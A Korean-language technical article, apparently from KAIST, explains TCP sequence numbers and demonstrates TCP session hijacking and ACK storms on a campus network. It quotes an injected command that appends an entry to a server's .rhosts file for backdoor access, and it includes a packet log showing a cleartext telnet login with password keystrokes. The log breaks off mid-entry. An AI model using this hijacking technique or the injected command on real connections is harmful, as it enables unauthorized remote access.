인터넷에서 안전한 통신을 하려면?

노정석

대전 광역시 유성구 구성동 373-1

한국과학기술원 산업경영학과

E-mail : chester@cair.kaist.ac.kr

URL : http://cair.kaist.ac.kr/~chester

인터넷에서 안전한 통신을 하려면?

1. Introduction

sniffer와 같은 passive attack이 성행하면서 이제 해커들을 예전처럼 열심히 키보드를 두드리지 않아도 되게 됐다. TCP/IP의 잘못된 설계를 이용한 공격방법 들이 속속 발표되고 있으며 그것들을 응용한 여러가지 변형이 만들어지고 있다. passive attack은 공격대상이 되는 컴퓨터를 직접 건드리지 않고 단지 주변의 네트웍을 모니터링 하는 것만으로 대상시스템의 사용자의 비밀번호나 활동상황들을 지켜볼 수 있기 때문에 골칫덩이다.

2. TCP suites

TCP는 Connectionless data transfer를 지원하는 IP 위에서 신뢰적인 정보전달을 가능하게 해주는 layer이다. 흔히 connection oriented라고 불리고 있으나 엄밀하게 이야기하자면 connection oriented는 아니다. 사용자 입장에서 볼 때에 완벽한 정보전달을 제공하기 때문에 virtual한 개념으로 Connection oriented라고 불린다. 이렇게 안정적인 정보전달을 하기 위해서 TCP는 packet을 보낼 때마다 각각의 패킷에 일련번호(sequence number) 를 부여하고 패킷을 받을 때마다 손실 없이 잘 받았다는 신호(acknowledge) 를 함으로써 가능하게 된다. 이렇게 일련 번호를 이용한 정보교환을 하기 위해서는 Connection 을 처음 맺을 때 양쪽의 일련번호를 동기화(synchronizing)하는 절차가 필요하다. 이러한 절차를 TCP connection establishment라고 하며 connection을 끝맺을때도 비슷한 절차를 밟게 된다.

2.1 TCP header fields

0	15	16	31

16-bit source port number	16-bit destination port number

32-bit sequence number

32-bit acknowledgment number

4-bit head-len	reserved (6bit)	TCP control bits	16-bit Window size

16-bit TCP checksum	16-bit urgent pointer

Options ( if any )

data

그림 1. TCP header 의 구조

connection은 보내는이의 주소와 포트번호, 받는이의 주소의 포트번호 이렇게 네 가지로 규정될 수 있다. 우리가 원격호스트에 접속하여 키를 한번 두드릴때마다 일련번호를 붙여서 보내게 된다. 그리고 또한 받는 쪽에서는 이 일련번호를 Acknowledge 함으로써 신뢰적인 정보전달이 가능하게 된다. 이 문서에서 편의상 커넥션을 요구하는 쪽을 client 라고 규정하고 커넥션요구를 받아서 처리하는 쪽을 Server라고 하기로 한다. 이론적으로 TCP의 connection을 설명하기 위하여 다음의 용어들을 사용하기로 한다. 용어는 Laurent가 사용한 것을 그대로 사용하기로 한다.

□SVR_SEQ

Server가 다음 번에 보내게 될 sequence number

□SVR_ACK

Server가 다음번에 받게될 Client 의 sequence number

□SVR_WIND

Server의 receive window

□CLT_SEQ

client가 다음번에 보내게 될 sequence number

□CLT_ACK

Client가 다음번에 받게될 server 의 sequence number

□CLT_WIND

Client의 receive window

client와 server 사이에 아무런 데이터의 전송도 이루어지지 않고 있을 때의 상황(즉, 원격호스트에 연결하고 나서 아무런 입력도 하고 있지 않을 때)에서의 양쪽의 sequence number 와 acknowledgement number 사이의 관계는 다음과 같아야 한다.

SVR_SEQ = CLT_ACK

CLT_SEQ = SVR_ACK

그러나 connection이 진행되고 있는 순간의 경우는 위의 등식은 꼭 맞아떨어지지는 않는다. 좀더 일반적인 식을 써보자면 다음과 같을 것이다.

CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WIND

SVR_ACK <= CLT_SEQ <= SVR_ACK + SVR_WIND

그림 1. 에 나온 Header field에 대해서 간단하게 설명해보자.

□Source Port

보내는 쪽의 port number

□Destination Port

받는 쪽의 port number

□Sequence number

전송되는 packet의 일련번호

□Acknowledgment Number

다음번에 상대편으로부터 받기를 원하는 sequence number 동시에 현재까지 받은 packet 의 상태를 상대방에 알려주는 역할을 한다.

□Data offset

패킷에서의 data offset

□Control Flags

-SYN : Synchronize Sequence number

SYN flag은 connection 이 이루어질 때만 사용된다. data를 보내기에 앞서서 client/server 양쪽의 sequence number 를 동기화한다.

-ACK : Acknowledgement

전송한 packet이 잘 도착했음을 알리기 위해 사용된다.

-RST : Reset

관련된 connection을 무조건 reset 한다.

-URG : Urgent

이 flag이 on 되어있으면 Out-Of-Band Data 로 처리되어 정상적인 sequence number 순서대로 처리되지 않고 도착하는 즉시 최대한 빨리 User application에 전달한다.

-PSH : Push

받는쪽의 TCP는 패킷을 queueing 하지 않고 가능한 한 빨리 user application에 전달한다.

-FIN : Finish

보내는 쪽의 TCP 더이상 전송할 데이터가 없으며 connection을 해제하기를 원할 때 사용한다.

□Window

보내는 쪽의 Window 크기

□Checksum

데이터가 변형되지 않고 전송되었나를 체크하기 위한 값

□Options

TCP options

-SEG_SEQ

header의 sequence number를 참조한다.

-SEG_ACK

header의 acknowledgement number 를 참조한다.

-SEG_FLAG

header의 control flag 을 참조한다.

2.2 TCP connection Eastablishment

TCP는 connection을 맺기 위하여 "Three Way Handshakng"이라는 방법을 사용한다. client 가 SYN packet을 보내어서 connection이 이루어지기 시작할 직후부터 본격적인 데이터가 교환되기 전까지의 과정은 다음과 같다.

아무런 패킷의 교환도 없을시에 client의 TCP는 CLOSED state에 있으며 Server의 TCP는 LISTEN state에 머물러 있다. client가 connection요청을 server에게 한다. client 가 하는 일은 TCP header에서 SYN bit를 켠 후에 자신의 Initial sequence number를 기록하여 server 에게 보낸다. 이때 client 의 TCP state는 SYN_SENT 상태에 머물러 있고 이 Initial sequence number를 CLT_SEQ0라고 한다.

SEG_SEQ = CLT_SEQ0

SEG_FLAG = SYN

server는 이 패킷을 받자마자 client의 sequence number에 acknowledge하는 동시에 자신의 initial sequence number를 보낸다. 이때 server의 state는 SY-RECEIVED이다.

SEG_SEQ = SVR_SEQ0

SEG_ACK = CLT_SEQ0 + 1

SEG_FLAG = SYN

SVR_ACK = CLT_SEQ0 + 1

Client는 server의 packet을 받자마자 acknowledge한다. 이제 양쪽의 sequence number가 모두 초기화되었다. 이때의 상태가 ESTABLISHED state이다.

SEG_SEQ = CLT_SEQ0 + 1

SEG_ACK = SVR_SEQ0 + 1

CLT_ACK = SVR_SEQ0 + 1

2.3 TCP connection Closing

TCP가 connection을 끊을때는 FIN이나 RST flag을 사용한다. RST flag이 set 되어진 packet을 받게 되면 즉시 connection을 끊어버리고 관련된 메모리들을 flush한다. RST packet은 acknowledge 되지 않는다. 미처 도착하지 못한 packet이 도착해도 이는 버려진다. FIN packet을 받게 되면 TCP는 무조건 connection을 끊어버리지 않고 CLOSE-WAIT state 로 들어가서 나중에 도착하는 packet까지 받아들기에 된다. 그리고 나서야 FIN packet을 상대방에게 보내주게 되고 ACK를 받고 나서야 완벽하게 connection을 끊는다.

2.4 Established State

client/server의 TCP state가 ESTABLISHED state에 있을때 전송되는 packet들의 sequence number가 다음 interval에 들어가 있으면 이를 받아□들이게 된다.

□Server의 window

[ SVR_ACK, SVR_ACK + SVR_WIND ]

□Client의 window

[ CLT_ACK, CLT_ACK + CLT_WIND ]

만약에 도착하는 packet의 sequence number가 위의 범위를 벗어나게 된다면 TCP는 이를 버리게 되며 자신의 현재 window에서 필요한 packet의 sequence number로 acknowledge 하게 된다. 예를 들면 현재의 Server의 상태가 다음과 같다면

SEG_SEQ = 200

SVR_ACK = 100

SVR_WIND = 50

이 Server가 다음에 받기를 원하는 client packet의 sequence number는 100 이다. 그러나 중간에 packet이 손실되었던 경우의 상태는 다음과 같다.

SEG_SEQ > SVR_ACK + SVR_WIND

이제 server는 다음과 같은 형식으로 ACK packet을 보내게 된다.

SEG_SEQ = SVR_SEQ

SEG_ACK = SVR_ACK

2.5 Desynchronized state

비동기화 상태란 client/server 양쪽의 TCP state가 모두 ESTABLISHED state이기는 하나 Sequence number flow가 잘못되어 패킷교환이 일어나지 못하고 있는 상태이다.

SVR_SEQ != CLT_ACK

CLT_SEQ != SVR_ACK

이러한 비동기화 상태에서는 다음과 같은 두 가지의 경우가 생길 수 있다. CLT_SEQ < SVR_ACK + SVR_WIND이고 CLT_SEQ > SVR_ACK 이러한 경우 Server의 TCP는 이 패킷을 일단 받아들인다. 그 이전에 보내진 패킷이 아직 도착하지 않았다고 가정하기 때문이다. 그러나 만약에 이전의 패킷이 도착하지 않는다면 비동기화 상태가 되고 TCP 는 계속 그것을 기다리고 있게 된다. CLT_SEQ > SVR_ACK + SVRWIND이거나 CLT_SEQ < SVR_ACK인 경우에는 전혀 맞지 않는 상태가 되므로 패킷은 도착하는 즉시 버려진다.

2.6 The Attack

이제 우리가 할 일은 Client/Server 사이의 connection에 끼여드는 일이다. connection을 규정하는 4요소는 Source/Destination Address, Source/Destination port 이렇게 4가지로 규정되기 때문에 우리는 IP spoofing을 통하여 매우 쉽게 정상적인 패킷을 흉내낼 수 있다. 단 이러한 방식의 공격을 하기 위해서는 Client/Server 사이의 sequence number flow를 알고 있어야 한다. 그렇기 때문에 필연적으로 Client/Server 사이에서 packet monitoring을 하여야만 한다. 다음 그림.2 가 이를 잘 나타내어 준다.

그림 2. TCP hijacking 가능환경

Client와 Server 사이의 TCP flow가 desynchronized state가 되었다고 가정해보자. 이 상태에서 Client는 다음과 같은 seq/ack number를 가진 packet을 보낼것이다.

SEG_SEQ = CLT_SEQ

SEG_ACK = CLT_ACK

그러나 CLT_SEQ는 SVR_ACK이기 때문에 server에서 그 패킷은 버리게 된다. 그때 hacker 의 computer가 Server가 원하는 정상적인 seq/ack number를 가지는 packet을 spoof해서 보내게 되면 그 packet은 server에 의해 정상적으로 받아들여지게 되고 우리는 소기의 목적을 달성하는 것이다. 우리가 보낼 위조된 패킷은 다음과 같을 것이다.

SEG_SEQ = SVR_ACK

SEG_ACK = SVR_SEQ

위 그림에서 A에서 E로 telnet을 하였다고 하자 즉, TCP connection을 맺고 있고 data를 교환하고 있다고 한다. 우리는 W에서 이 둘 사이가 대화하는 것을 엿듣고 있으면서 seq/ack number가 어떻게 흘러가고 있는지를 관찰한다. 그리고 client가 정상적인 packet을 보내기 바로 직전 우리의 위조된 packet을 보내는 것이다. 정상적인 address/port를 가지고 있고 seq/ack 또한 맞아 들어가기 때문에 server는 우리의 packet을 받아들이게 되고 우리가 packet에 써넣은 명령을 수행하게 될 것이다. 뒤늦게 도착한 Client의 진짜 data는 seq/ack number가 맞지 않기 때문에 버려지게 될 것이다.

2.7 TCP Ack Storm

이제 공격이 성공한 다음을 생각해보자. TCP connection은 끊어지지 않았고 Client/Server 의 seq/ack number는 맞아 있지 않은 상태이다. 우리가 비정상적으로 보낸 패킷에 의해서 server의 acknowledgement number는 우리가 보낸 바이트 수만큼 늘어나 있게 된다. 이때 Server가 Client에게 보내게 되는 Ack number는

SVR_ACK = 원래의 CLT_SEQ + sizeof(우리가 위조한 data)

가 되게 된다. 이제 위의 packet을 Client가 받게 되면 어떻게 될까. Client는 자신이 실제로 필요한 seq/ack number를 요구하는 ack를 보내게 될 것이다. 그러나 상황은 어떠한가 이미 Server의 sliding window의 포인터는 client가 원하는 그것을 넘어 있기 때문에 둘 사이에서는 계속 원하는 sequence number의 packet을 달라는 ack packet만 보내게 될 것이다. 따라서 필요 없는 ack packet의 숫자가 네트웍에 비정상적으로 증가하게 될 것이며 이러한 상황이 여러개 발생하게 되면 필요 없는 traffic의 발생에 의해 네트웍은 심한 몸살을 앓게 된다.

2.8 Example

이제 위의 상황을 실제로 구현해 보기로 하자. 위 그림에서 의 역할 분담은 다음과 같다.

□관계된 host들

-A: 143.248.90.36 (mgt.kaist.ac.kr) HP-UX

-E: 143.248.175.3 (adam.kaist.ac.kr) SunOS 4.1.3

-W: 143.248.90.81 (ms.kaist.ac.kr) Solaris 5.5

-Logging host: 143.248.175.5 (cain.kaist.ac.kr) Solaris 5.5

□구현된 코드들

-hijacker : spmz testbed #3

Solaris DLPI를 이용해서 구현되었다. time delay를 줄이기 위하여 buffer module을 사용하지 않았으며 system의 과부하를 최소한으로 억제하였다. 이상적인 hijacker가 되기 위해서는 Kernel level에서 driver/module로 구현되는 것이 바람직하다.

-Monitor : spmz testbed #1

역시 Solaris의 DLPI를 이용했다. drop되는 packet이 없어야 하므로 buffer module을 사용했다.

시나리오는 다음과 같다.

□mgt에서 adam으로 telnet으로 연결한다.

□ms에서는 이 connection을 Hijack 하기 위해서 둘 사이의 seq/ack number flow를 Monitoring하고 있는다.

□mgt와 adam이 quiet state에 있는순간 ms에서 "echo "ms chester" >> $HOME/.rhosts"라는 내용을 넣어서 server에게 보낸다. 물론 adam이 원하는 seq/ack number를 가지도록 spoof 한다.

□adam은 mgt에게 ack 하게 되고 mgt는 자신이 원하는 seq/ack number가 아니기 때문에 자신이 원하는 seq/ack number를 adam에게 보낸다. 그러나 이미 adam과 mgt는 seq/ack number가 맞아 들어가지 않는 상태이다. 즉 , TCP Ack Storm이 일어난다.

□이 모든 상황을 같은 adam과 같은 subnet에 물려있는 cain이 logging 한다.

다음은 mgt에서 보게 되는 실제 상황이다. 이 상황을 hijack 했을 때에 실제 네트웍 상에서 어떻게 packet이 왔다갔다하는지에 대해서 자세히 관찰해보자.

mgt 23: telnet adam

Trying...

Connected to adam.kaist.ac.kr.

Escape character is '^]'.

SunOS UNIX (adam)

login: chester

Password:

Last login: Sat May  3 09:26:08 from 143.248.90.36

SunOS Release 4.1.3-KLE1.1.3 (ADAM) #8: Wed Feb 28 16:34:42 KST 1996

**************************************************************************

*	*

*                              Fundamental Standard	*

*	*

*  Students are expected to show both within and without the University	*

*  such respect for order, morality, personal honor, and the rights of others

*  as is demanded of good citizens.  Failure to observe this will be         *

*  sufficient cause for removal from the University.                           *

*	*

**************************************************************************

PLEASE SEND EMAIL TO CSD-TA@ADAM IF YOU HAVE PROBLEMS.

You have new mail.

/usr/ucb/hostname: Command not found.

Cannot find the locale named korean - Ignored.

adam% ls

복사책    News      cain      lexyacc   proposal  telnet

Mail      TODO      docs      perl      script    twin

adam% l <----- ls 명령을 치려는 순간부터 hijack을 당하게 되고

이 순간부터는 마치 네트웍이 다운된 것처럼

아무런 입력을 받지 않는다. 실제로 이때부터

TCP ack storm 이 일어난다.

다음은 위의 상황을 실제로 모니터링 한 결과이다. 상황을 설명하기 위한 최소한의 정보를 표시하였다. 모든 header field를 표시하려니 너무 양이 많아져서 이정도로 표시하기로 한다. 형식은 다음과 같다.

source address( source port ) --> Destination address( destination port )

Seq: (Seq number) Ack: (Ack number) // [TCP option: UAPRSF]

Data: ( data 가 있을경우에 표시 )

필자가 설명하는 부분은 # 로 Comment 처리하였다.

# TCP initial three way handshaking

# mgt 에서 adam과 TCP connection 을 원하는 TCP SYN packet을 보낸다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128000 Ack: 0  //[ TCP option : ....S.  ]

# adam 은 mgt의 요구에 자신의 seq num을 보냄으로써 syn/ack 한다.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

# mgt는 adam의 Initial seq number에 ack 한다.

Seq: 1585920000 Ack: 1744128001  //[ TCP option : .A..S.  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

# 여기에서부터 실제 Data 교환이 이루어진다.

Seq: 1744128001 Ack: 1585920001  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128001 Ack: 1585920001  //[ TCP option : .AP...  ]

DATA:

□.□.□.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920001 Ack: 1744128010  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920001 Ack: 1744128010  //[ TCP option : .AP...  ]

DATA:

□.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128010 Ack: 1585920004  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920004 Ack: 1744128010  //[ TCP option : .AP...  ]

DATA:

□.□.□..□

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128010 Ack: 1585920016  //[ TCP option : .AP...  ]

DATA:

□.□..HP□

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920016 Ack: 1744128021  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920016 Ack: 1744128021  //[ TCP option : .AP...  ]

DATA:

□.□..

.

SunOS UNIX (adam).

...

..

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128021 Ack: 1585920051  //[ TCP option : .AP...  ]

DATA:

□.□.

# login Prompt가 Echo 되었다.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920051 Ack: 1744128027  //[ TCP option : .AP...  ]

DATA:

login:

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128027 Ack: 1585920058  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920058 Ack: 1744128027  //[ TCP option : .AP...  ]

DATA:

□.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128027 Ack: 1585920061  //[ TCP option : .A....  ]

# Login name 입력

# mgt --> adam 으로 가는 것은 실제로 입력한 키값이고

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128027 Ack: 1585920061  //[ TCP option : .AP...  ]

DATA:

c

# adam --> mgt로 오는것은 화면출력을 위해서 echo되는 packet이다.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920061 Ack: 1744128028  //[ TCP option : .AP...  ]

DATA:

c

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128028 Ack: 1585920062  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128028 Ack: 1585920062  //[ TCP option : .AP...  ]

DATA:

h

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920062 Ack: 1744128029  //[ TCP option : .AP...  ]

DATA:

h

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128029 Ack: 1585920063  //[ TCP option : .AP...  ]

DATA:

e

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920063 Ack: 1744128030  //[ TCP option : .AP...  ]

DATA:

e

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128030 Ack: 1585920064  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128030 Ack: 1585920064  //[ TCP option : .AP...  ]

DATA:

s

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920064 Ack: 1744128031  //[ TCP option : .AP...  ]

DATA:

s

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128031 Ack: 1585920065  //[ TCP option : .AP...  ]

DATA:

t

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920065 Ack: 1744128032  //[ TCP option : .AP...  ]

DATA:

t

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128032 Ack: 1585920066  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128032 Ack: 1585920066  //[ TCP option : .AP...  ]

DATA:

e

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920066 Ack: 1744128033  //[ TCP option : .AP...  ]

DATA:

e

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128033 Ack: 1585920067  //[ TCP option : .AP...  ]

DATA:

r

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920067 Ack: 1744128034  //[ TCP option : .AP...  ]

DATA:

r

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128034 Ack: 1585920068  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128034 Ack: 1585920068  //[ TCP option : .AP...  ]

DATA:

..

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920068 Ack: 1744128036  //[ TCP option : .AP...  ]

DATA:

.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128036 Ack: 1585920070  //[ TCP option : .A....  ]

#Password 입력시작

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920070 Ack: 1744128036  //[ TCP option : .AP...  ]

DATA:

Password:

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128036 Ack: 1585920079  //[ TCP option : .A....  ]

# Password를 입력할때는 echo 되지 않는다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128036 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

h

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128037  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128037 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

e

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128038  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128038 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

ll

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128040  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128040 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

o

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128041  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128041 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

1

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128042  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128042 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

2

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128043  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128043 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

3

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128044  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128044 Ack: 1585920079  //[ TCP option : .AP...  ]

DATA:

..

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920079 Ack: 1744128046  //[ TCP option : .AP...  ]

DATA:

.

# login이 성공적으로 이루어졌고 shell명령모드로 들어간다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585920081  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585920081 Ack: 1744128046  //[ TCP option : .AP...  ]

DATA:

Last login: Sat May  3 09:26:08 from 143.248.90.36.

SunOS Release 4.1.3-KLE1.1.3 (ADAM) #8: Wed Feb 28 16:34:42 KST 1996.

**********************************************************************

*	*

*                              Fundamental Standard	*

*	*

*  Students are expected to show both within and without the University*

*  such respect for order, morality, personal honor, and the rights of thers *.

*  as is demanded of good citizens.  Failure to observe this will be    *

*  sufficient cause for removal from the University.                      *

*	*

**********************************************************************

PLEASE SEND EMAIL TO CSD-TA@ADAM IF YOU HAVE PROBLEMS..

.

.

You have new mail..

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585921093  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921093 Ack: 1744128046  //[ TCP option : .AP...  ]

DATA:

/usr/ucb/hostname:

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585921112  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921112 Ack: 1744128046  //[ TCP option : .AP...  ]

DATA:

Command not found..

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585921132  //[ TCP option : .A....  ]

# adam% 이라는 프람프트를 볼 수 있다.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921132 Ack: 1744128046  //[ TCP option : .AP...  ]

DATA:

Cannot find the locale named korean - Ignored..

adam%

# ls 명령을 수행한다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585921186  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128046 Ack: 1585921186  //[ TCP option : .AP...  ]

DATA:

l

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921186 Ack: 1744128047  //[ TCP option : .AP...  ]

DATA:

l

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128047 Ack: 1585921187  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128047 Ack: 1585921187  //[ TCP option : .AP...  ]

DATA:

s

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921187 Ack: 1744128048  //[ TCP option : .AP...  ]

DATA:

s

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128048 Ack: 1585921188  //[ TCP option : .A....  ]

# ls의 결과가 echo 되고 있다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128048 Ack: 1585921188  //[ TCP option : .AP...  ]

DATA:

..

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921188 Ack: 1744128050  //[ TCP option : .AP...  ]

DATA:

.

-------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128050 Ack: 1585921190  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921190 Ack: 1744128050  //[ TCP option : .AP...  ]

DATA:

복사책    News      cain      lexyacc   proposal  telnet.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128050 Ack: 1585921248  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921248 Ack: 1744128050  //[ TCP option : .AP...  ]

DATA:

Mail      TODO      docs      perl      script    twin.

adam%

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128050 Ack: 1585921310  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128050 Ack: 1585921310  //[ TCP option : .AP...  ]

DATA:

l

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921310 Ack: 1744128051  //[ TCP option : .AP...  ]

DATA:

l

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921310  //[ TCP option : .AP...  ]

DATA:

........

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921311 Ack: 1744128061  //[ TCP option : .AP...  ]

DATA:

^H^H^H^H^H^H^H^H.

.

# client/server를 desynchronized state로 만든다.

# Ack storm이 일어나기 시작했다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128061  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921311 Ack: 1744128061  //[ TCP option : .AP...  ]

DATA:

^H^H^H^H^H^H^H^H.

.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128061  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)
